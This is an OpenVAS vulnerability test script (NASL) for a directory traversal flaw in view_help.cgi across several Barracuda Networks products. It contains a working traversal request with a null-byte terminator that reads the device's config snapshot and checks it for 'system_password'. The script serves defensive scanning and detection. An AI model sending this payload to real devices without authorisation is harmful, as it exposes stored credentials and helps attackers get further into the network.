Barracuda Networks Multiple Products 'view_help.cgi' Directory Traversal Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_barracuda_spam_virus_firewall_43520.nasl 5263 2017-02-10 13:45:51Z teissa $
#
# Barracuda Networks Multiple Products 'view_help.cgi' Directory Traversal Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "Multiple Barracuda Networks products are prone to a directory-
traversal vulnerability because it fails to sufficiently sanitize user-
supplied input.

A remote attacker can exploit this vulnerability using directory-
traversal characters ('../') to access files that contain sensitive
information that can aid in further attacks.

Affected:

Barracuda IM Firewall 3.4.01.004 and earlier
Barracuda Link Balancer 2.1.1.010 and earlier
Barracuda Load Balancer 3.3.1.005 and earlier
Barracuda Message Archiver 2.2.1.005 and earlier
Barracuda Spam & Virus Firewall 4.1.2.006 and earlier
Barracuda SSL VPN 1.7.2.004 and earlier
Barracuda Web Application Firewall 7.4.0.022 and earlier
Barracuda Web Filter 4.3.0.013 and earlier";


if (description)
{
 script_id(100847);
 script_version("$Revision: 5263 $");
 script_tag(name:"last_modification", value:"$Date: 2017-02-10 14:45:51 +0100 (Fri, 10 Feb 2017) $");
 script_tag(name:"creation_date", value:"2010-10-06 12:55:58 +0200 (Wed, 06 Oct 2010)");
 script_bugtraq_id(43520);
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_name("Barracuda Networks Multiple Products 'view_help.cgi' Directory Traversal Vulnerability");

 script_xref(name : "URL" , value : "https://www.securityfocus.com/bid/43520");
 script_xref(name : "URL" , value : "http://www.barracudanetworks.com/ns/?L=en_ca");
 script_xref(name : "URL" , value : "http://www.barracudanetworks.com/ns/support/tech_alert.php");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("gb_barracuda_spam_virus_firewall_detect.nasl");
 script_require_ports("Services/www", 8000);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("version_func.inc");

port = get_http_port(default:80);
if(!get_port_state(port))exit(0);

u = "/view_help.cgi?locale=/../../../../../../../mail/snapshot/config.snapshot%00";
d = make_list("/cgi-mod","/cgi-bin");

foreach dir (d) {

  url = dir+u;

  if(http_vuln_check(port:port, url:url,pattern:"system_password",extra_check:make_list("system_netmask","system_default_domain"))) {
    security_message(port:port);
    exit(0);
  }  

}  

exit(0);